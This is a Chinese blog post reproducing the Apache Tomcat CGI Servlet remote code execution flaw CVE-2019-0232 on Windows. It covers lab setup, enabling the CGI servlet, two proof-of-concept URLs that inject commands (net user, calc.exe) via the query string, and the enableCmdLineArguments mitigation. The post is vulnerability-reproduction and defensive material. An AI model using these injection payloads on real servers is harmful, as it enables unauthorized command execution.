• Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现


     

    一、     漏洞简介

    漏洞编号和级别

    CVE编号:CVE-2019-0232,危险级别:高危,CVSS分值:官方未评定。

    漏洞概述

    Apache Tomcat是美国阿帕奇(Apache)软件基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page(JSP)的支持。

    4月11日,Apache官方发布通告称将在最新版本中修复一个远程代码执行漏洞(CVE-2019-0232),由于JRE将命令行参数传递给Windows的方式存在错误,会导致CGI Servlet受到远程执行代码的攻击。

    触发该漏洞需要同时满足以下条件:

    1. 系统为Windows

    2. 启用了CGI Servlet(默认为关闭)

    3. 启用了enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭)

    影响范围

    Apache Tomcat 9.0.0.M1 to 9.0.17

    Apache Tomcat 8.5.0 to 8.5.39

    Apache Tomcat 7.0.0 to 7.0.93

    二、     漏洞复现

    环境介绍

    服务端:Windows Server 2008 R2 Enterprise

    Apache Tomcat 8.5.39

    JDK 1.8.0_181

    漏洞环境搭建

    java环境安装

    1、官网下载jdk安装包

    http://www.oracle.com/technetwork/java/javase/downloads/index.html

    2、根据提示安装jdk

     

    3、配置路径,我的电脑->属性->高级系统设置->环境变量->ath 添加jdk和jre路径

     

     (环境变量配置失败可以直接在setclasspath.bat的开头手动声明环境变量)

     

    4、配置成功后如图:

     

    Apache Tomcat安装

    1、下载地址:(https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/

    2、直接解压缩至你要安装的目录

     

    3、安装成功后,运行startup.bat启动服务

     

    4、访问http://localhost:8080,如下图启动成功。

     

     配置Apache Tomcat服务器(修改conf目录配置文件,启用CGI)

    1、打开Tomcat安装目录的apache-tomcat-8.5.39confweb.xml修改如下配置,在默认情况下配置是注释的。

     

     2、同时还要修改web.xml以下配置,否则访问cgi目录会提示404。

     

     3、打开Tomcat安装目录的apache-tomcat-8.5.39confcontext.xml修改如下配置,添加privileged="true" 。

     

     4、在apache-tomcat-8.5.39webappsROOTWEB-INF目录新建一个cgi-bin文件夹,创建一个hello.bat的文件,内容如下:

     

     5、至此,此漏洞环境搭建完成

    漏洞利用

    Poc如下:

    http://localhost:8080/cgi-bin/hello.bat?& C%3A%5CWindows%5CSystem32%5Cnet.exe+user

    http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe

     

    漏洞复现成功。

    三、     解决方案

    Apache官方还未正式发布以上最新版本,受影响的用户请保持关注,在官方更新后尽快升级进行防护。与此同时,用户可以将CGI Servlet初始化参数enableCmdLineArguments设置为false来进行防护。

    在Tomcat安装路径的conf文件夹下,使用编辑器打开web.xml,找到enableCmdLineArguments参数部分,添加如下配置:

     

     重启Tomcat服务,以确保配置生效。

    四、     参考链接

    https://blog.csdn.net/pruett/article/details/78146693

    http://blog.nsfocus.net/cve-2019-0232/

    https://github.com/pyn3rd/CVE-2019-0232

    https://github.com/jas502n/CVE-2019-0232

    https://chaceshadow.github.io/
  • 相关阅读:
    [转]Docker学习笔记之一,搭建一个JAVA Tomcat运行环境
    ubuntu wifi连接出现Network service discovery disabled的解决办法
    使用java实现对称加密解密(AES),非对称加密解密(RSA)
    [转] mysql分区性能初探
    CyclicBarrier和CountDownLatch的使用
    oom 和 jvm crash的问题
    使用单元素枚举实现单例
    【转】mysql 计划事件
    用Linkedhashmap的LRU特性及SoftReference软引用构建二级缓存
    动态生成正则表达式
  • 原文地址:https://www.cnblogs.com/liliyuanshangcao/p/10731966.html
Copyright © 2020-2023  润新知